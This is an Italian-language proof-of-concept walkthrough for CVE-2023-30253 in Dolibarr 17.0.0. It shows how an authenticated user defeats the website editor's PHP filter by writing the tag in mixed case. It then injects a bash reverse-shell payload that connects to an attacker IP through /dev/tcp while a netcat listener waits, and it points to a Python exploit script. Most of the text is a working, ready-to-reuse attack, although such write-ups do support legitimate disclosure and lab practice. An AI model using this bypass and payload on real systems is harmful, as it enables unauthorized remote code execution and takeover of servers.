
In Dolibarr 17.0.0 con il plugin CMS Website (core) abilitato, un attaccante autenticato può ottenere l'esecuzione remota di comandi tramite l'iniezione di codice php aggirando le restrizioni dell'applicazione.
CVE-2023-30253 è una falla di sicurezza nel software Dolibarr che consente agli utenti autenticati di eseguire codice in remoto sfruttando una tecnica di manipolazione delle maiuscole nei dati iniettati.
Questa vulnerabilità può portare a un'esecuzione remota di codice non autorizzata da parte di attori malintenzionati, rappresentando una grave minaccia per la sicurezza e l'integrità dei sistemi interessati. La vulnerabilità è stata corretta in Dolibarr 17.0.1.
https://www.swascan.com/security-advisory-dolibarr-17-0-0/
https://github.com/Dolibarr/dolibarr
La seguente POC mostra come ottenere manualmente una reverse shell.

Dopo aver effettuato l'accesso come utente di test, possiamo creare/modificare il sito web.
.png)
Prima crea un sito web, poi crea una pagina.
.png)

Dopo aver creato sito web e pagina, clicca sull'icona del binocolo: questo aprirà la pagina creata in una nuova scheda.
Ora clicca su Modifica sorgente HTML.
.png)
Qui possiamo provare ad aggiungere codice php, ma c'è una sorta di filtro che ci impedisce di scrivere codice php. Questo può essere facilmente aggirato cambiando il formato della parola php.
.png)
Dopo aver cambiato il formato della parola php in pHp, possiamo vedere che è stato salvato correttamente.
.png)
Andando sulla pagina, possiamo vedere che il codice php inserito funziona.
Ora, per ottenere una reverse shell, impostiamo un listener netcat
.png)
.png)
Quindi aggiungiamo il nostro codice di reverse shell <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.101/1010 0>&1'"); ?>
Ora, aprendo il sito web, otteniamo una reverse shell
.png)
Possiamo usare il codice Python per semplificare il tutto

Imposta il listener netcat.

Esegui lo script e dovremmo avere una reverse shell.
Autore dello script: https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253